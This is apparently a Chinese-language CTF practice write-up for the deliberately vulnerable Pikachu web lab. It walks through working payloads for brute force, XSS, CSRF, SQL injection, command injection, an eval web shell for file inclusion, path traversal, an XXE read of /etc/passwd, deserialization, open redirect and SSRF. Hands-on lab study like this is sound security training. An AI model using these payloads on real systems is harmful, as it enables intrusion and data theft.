0%

【Klee-CTF】 Pikachu 漏洞练习

此文章为 Klee-CTF 专题

准备资料

弱密码资料:https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

暴力破解

基于表单的破解

使用 burpsuite ,一般用户名使用admin,密码可以通过burpsuite破解

Pikachu-exercise/Untitled.png

首先输入 admin admin 构造一个请求

Pikachu-exercise/Untitled%201.png

Pikachu-exercise/Untitled%202.png

Pikachu-exercise/Untitled%203.png

清除一下无关参数,只保留 password

回到burpsuite,发现有一个payload的长度明显有点问题

Pikachu-exercise/Untitled%204.png

输入测试,诶成了

Pikachu-exercise/Untitled%205.png

验证码绕过 (on server)

对网络请求,提取出关键,发现当且仅当访问 http://172.16.40.2/pikachu/inc/showvcode.php 时,验证码才会发生改变,连续curl以下内容时,验证码是始终保持有效的

1
2
3
4
curl 'http://172.16.40.2/pikachu/vul/burteforce/bf_server.php' \
-H 'Cookie: PHPSESSID=8768b544b64dd8fc234b2b936c37c4ab; KOD_SESSION_ID=95908a94410cbb3970b38095670462ca; CSRF_TOKEN=xRTn99HD7XY3BFEs' \
--data-raw 'username=admin&password=admin&vcode=gynqsw&submit=Login' \
--compressed

接下来的操作步骤和上面一致。

反射型xss(get)/ 存储型xss

http://192.168.44.128:8080/vul/xss/xss_reflected_get.php?message=<script>alert(1)<%2Fscript>&submit=submit#

https://segmentfault.com/a/1190000021899373

在message内写入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

![Pikachu-exercise/Untitled%206.png](Pikachu-exercise/Untitled%206.png)

# DOM 型 xss/DOM 型 xss-x

1. 在框内输入 `javascript:alert(1)` ,点击链接触发

![Pikachu-exercise/Untitled%207.png](Pikachu-exercise/Untitled%207.png)

1. 在本页面不做任何操作就触发

尝试:

- `' ></a><script>alert(1)</script><a>` 结果看页面是有了,但是没法弹出来
- `'onmousemove="alert(1)"` 在链接上移动触发

![Pikachu-exercise/Untitled%208.png](Pikachu-exercise/Untitled%208.png)

# CSRF(get)/CSRF(post)

该链接修改信息参数都放在url上,所以要修改可以直接从url下手

```jsx
http://192.168.44.128:8080/vul/csrf/csrfget/csrf_get_edit.php?sex=2&phonenum=2&add=2&email=2&submit=submit

可修改 sex,phonenum,add等参数,并通过ajax无感知地修改用户的数据。不行就整个链接嘛,或者window.open

直接javascript,

1
fetch("http://192.168.44.128:8080/vul/csrf/csrfget/csrf_get_edit.php?sex=2&phonenum=2&add=2&email=2&submit=submit")

post同理,可以用form构造

网站源码?拿来吧你,随便找个html套上然后改一下这个action为目标页面就可

1
2
3
4
5
6
7
8
9
<form method="post" action="http://192.168.44.128:8080/vul/csrf/csrfget/csrf_get_edit.php">
<h1 class="per_title">hello,,欢迎来到个人会员中心 | <a style="color:bule;" href="csrf_post.php?logout=1">退出登录</a></h1>
<p class="per_name">姓名:</p>
<p class="per_sex">性别:<input type="text" name="sex" value=""></p>
<p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value=""></p>
<p class="per_add">住址:<input class="add" type="text" name="add" value=""></p>
<p class="per_email">邮箱:<input class="email" type="text" name="email" value=""></p>
<input class="sub" type="submit" name="submit" value="submit">
</form>

搜索型注入

输入 a' or 1=1 # 即可匹配所有用户, %% 也行,%是通配符

Pikachu-exercise/Untitled%209.png

基于 boolian 的盲注

当你已经知道了数据库中存在一个为kobe的用户,这里相当于一个判断语句只能给你返回是或否,注入可以利用其判断语句+判断字符来判断其完整字符串。

比如此处输入 kobe,可以正常地返回其信息

而输入 kobe' and 1=1# 也可以, kobe' and 1=2# 就不行了

但其他 MySQL 语句还是可以执行的嘛!不知道其他信息,靠判断猜!

比如说,MySQL里面有select, substr, ascii等语句,可以通过逐字符判断来判断其数据库名

基于时间的盲注

原理其实和上面差不多,也是利用信息来判断信息,只不过这里利用的是睡眠时间,使用判断条件+sleep(x),满足条件的时候睡眠x秒

1' or sleep(3)# 来测试,sleep()可用

比如说我们在数据库中使用 select if (database()='pikachu', sleep(5), 1) ,使用了五秒,可以判断当前数据库名称为 pikachu

exec “ping”

笑死,他的docker上没有ping,但是其他命令可以执行

;whoami;ls;pwd ,是没有对输入ip进行过滤

Pikachu-exercise/Untitled%2010.png

File Inclusion(remote)

我这里没开 allow_url_include,所以就不演示了,但远程可以构造一个txt文件,里面写

1
2
<?php
eval($_GET['x']);

Pikachu-exercise/Untitled%2011.png

Unsafe Filedownload

查看链接格式

http://192.168.44.128:8080/vul/unsafedownload/execdownload.php?filename=kb.png

容易得知这个filename可以利用,修改为execdownload.php,404,应该图片被放在子目录了,那就修改为../execdownload.php,成功获取

http://192.168.44.128:8080/vul/unsafedownload/execdownload.php?filename=../execdownload.php

Pikachu-exercise/Untitled%2012.png

Unsafe Fileupload→client check

F12 直接把这个去掉,好像不行

Pikachu-exercise/Untitled%2013.png

用burpsuite拦截响应请求把这个给去掉,重新上传,getdaze

Pikachu-exercise/Untitled%2014.png

Pikachu-exercise/Untitled%2015.png

Over Permission

查看提示,使用 pikachu/000000 登录,发现只有查看权限

Pikachu-exercise/Untitled%2016.png

使用admin/123456登录,发现有添加权限,地址为

http://192.168.44.128:8080/vul/overpermission/op2/op2_admin_edit.php

回到pikachu,同样访问上面地址,发现可以正常访问

Pikachu-exercise/Untitled%2017.png

也可以正常添加

../../→目录遍历

用了哪些函数类型?

随便点击一个,发现地址有关键字 xxx.php

Pikachu-exercise/Untitled%2018.png

作死试试 ../../../index.php ,笑死,还套娃了

Pikachu-exercise/Untitled%2019.png

敏感信息泄露→IcanseeyourABC

F12查看,嚯哟这有个账号

Pikachu-exercise/Untitled%2020.png

Pikachu-exercise/Untitled%2021.png

登陆成功

PHP 反序列化

构造PHP payload

1
2
3
4
5
6
7
8
<?php
class s{
public $test="";
}

$a = new s();
$a->test = "<script>alert(1)</script>";
echo serialize($a);

不过我猜测,这个类名和参数名有一个没猜对都没法用吧?

Pikachu-exercise/Untitled%2022.png

Pikachu-exercise/Untitled%2023.png

XXE漏洞

我看不懂,但我大受震撼.jpg

参考资料 https://www.freebuf.com/vuls/265859.html

根据文章,可以构造一个这样的恶意payload来获取任意文件内容

1
2
3
4
5
6
7
8
9
<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

Pikachu-exercise/Untitled%2024.png

然后可以获取到 /etc/passwd 的内容了

URL 重定向

@某佛大SSO

http://192.168.44.128:8080/vul/urlredirect/urlredirect.php?url=https://baidu.com

SSRF(curl)

这个curl可以用作访问仅限内网访问的应用,比如docker之间

Pikachu-exercise/Untitled%2025.png

复盘